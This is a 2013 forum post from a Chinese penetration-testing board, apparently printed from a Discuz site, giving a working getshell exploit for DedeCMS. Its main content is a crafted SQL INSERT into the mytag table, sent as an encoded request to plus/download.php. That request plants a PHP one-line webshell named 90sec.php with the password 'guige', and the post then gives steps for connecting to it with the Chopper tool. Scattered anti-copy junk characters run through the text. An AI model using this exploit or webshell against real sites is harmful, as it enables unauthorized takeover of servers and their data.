中国网络渗透测试联盟

标题: dedecms漏洞getshell EXP最新 [打印本页]
作者: admin    时间: 2013-6-10 16:49
标题: dedecms漏洞getshell EXP最新
本帖最后由 土豆 于 2013-6-10 14:41 编辑 9 V1 z7 q2 R. \' u+ h7 V
$ U4 M6 o! {' b
- a: h9 B+ C& p2 U
作者:鬼哥
7 _7 a! J6 ~% O) K3 P3 l
& P* u" o2 t( e5 e0 A" k5 F看贴不回，没JJ
* h% F& {: k6 O7 K, M0 U
1 b+ {# N' m6 z  E漏洞大家都知道是哪个。
/ \& [+ ^! [( m( @8 U
; R8 p$ U5 X# z+ B# \4 S其实我一直在玩。。郁闷 虽然这个漏洞不是我第一个发现的，以前也是朋友告诉我。# s4 t' V! h9 |; t( i8 w& O

* p; N6 v3 X; J+ E但是没公开。我承认想自己留着玩。。以前这个漏洞应该很多人知道没发出来而已。' S$ s5 B3 I7 J; T

& N) q6 E* d! X; @1 y7 x刚看了出的几个exp .. 进后台。还得找后台路径 太麻烦了吧？- r( H1 d- I. G) |- J0 m5 r3 }
% y% {# |: e' C- _) z# V
getshell 很容易 。 既然刚发出来的是 sql方法getshell  我也看到几个人发了sql增加表mytag的内容。
; |# L& x6 F( \/ C1 u4 b4 `6 L+ v8 ^
; v" n: M. a3 J4 `1 o9 w+ c4 t' r但是测试了下。。失败
& }% _8 v& g5 F. v, m- F1 B6 L  e
* r( C4 x% j4 T- Z2 }9 R原因： 用的语句是update  很多站 mytag 里面都没内容。那么你用update 那有什么用 修改不了任何数据。只能用 INSERT 当然，语句带#就会暴  错误。。现在要做的饶过即可。以前也出过那么多dede sql 结合饶过，成功INSERT。
0 }9 D2 u; J9 i0 H# n4 o' @% @9 M: j9 t3 q+ I
构造语句：mytag` (aid,expbody,normbody) VALUES(9013,@`\'`,'{dede:php}file_put_contents(''90sec.php'',''<?php eval($_POST[guige]);?>'');{/dede:php}') # @`\'`) {" j5 |6 Y' P8 ~9 w; x2 M
  G# {/ E, `/ J
EXP：
2 _" i2 S  Y1 W* c. r8 m
9 w; ^. v8 m; R" A6 K+ s! m$ m' Ahttp://www.xxx.com/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96
4 N# ]" g8 O6 _& p% V8 o' a5 c2 n

. I( M' |, G% V1 {+ p; I8 L; r2 _成功增加。
9 N# S/ E7 t* w/ T! K3 _4 `6 y  Z6 b' |" H% t$ F9 a: ]
访问http://www.xxx.com/plus/mytag_js.php?aid=9013
" P9 k( N- j8 [3 w  L生成一句话木马.
" j1 l) ~# Q; b3 t3 f+ i4 b菜刀连接 http://www.xxx.com/plus/90sec.php  密码 guige+ R- S0 T* w! k2 o

: x  J% Y1 I* D+ Y* a测试OK。 9 U7 _) W- x% H) ]- m. N3 j# `8 d

. O5 A) N6 O0 r
  T4 u9 U+ C  t4 k3 [



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2